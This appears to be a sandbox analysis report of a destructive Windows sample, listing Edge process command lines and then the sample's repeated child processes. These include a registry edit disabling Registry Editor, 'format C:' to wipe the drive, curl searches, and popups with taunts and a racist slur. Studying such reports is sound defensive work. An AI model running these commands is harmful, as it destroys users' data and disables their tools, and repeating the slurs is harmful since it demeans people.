C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --field-trial-handle=8916,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=8928 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --field-trial-handle=8840,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=9056 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=8920,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=9124 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --field-trial-handle=8936,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --field-trial-handle=8280,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --field-trial-handle=9388,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7700 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --field-trial-handle=9508,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=9552 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --field-trial-handle=8260,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=9728 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --field-trial-handle=9848,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=9880 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --field-trial-handle=3220,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --field-trial-handle=6424,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --field-trial-handle=1328,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --field-trial-handle=4872,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --always-read-main-dll --field-trial-handle=10060,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7596 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --field-trial-handle=7356,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7276 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --always-read-main-dll --field-trial-handle=4988,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --always-read-main-dll --field-trial-handle=7936,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7268 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --field-trial-handle=9740,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7112 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --always-read-main-dll --field-trial-handle=7972,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7124 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --field-trial-handle=7148,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --always-read-main-dll --field-trial-handle=8460,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7264 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --field-trial-handle=8064,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --field-trial-handle=8092,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --field-trial-handle=6600,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --field-trial-handle=3716,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --field-trial-handle=8164,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --field-trial-handle=10312,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=10492 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --field-trial-handle=10664,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7844 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --field-trial-handle=10916,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=11012 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=10660,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=10760 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --always-read-main-dll --field-trial-handle=10792,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=10804 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --field-trial-handle=11360,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=11400 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --field-trial-handle=11568,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=10976 /prefetch:15⤵
-
-
-
C:\Windows\system32\timeout.exetimeout /t 10 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f4⤵
- Disables RegEdit via registry modification
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
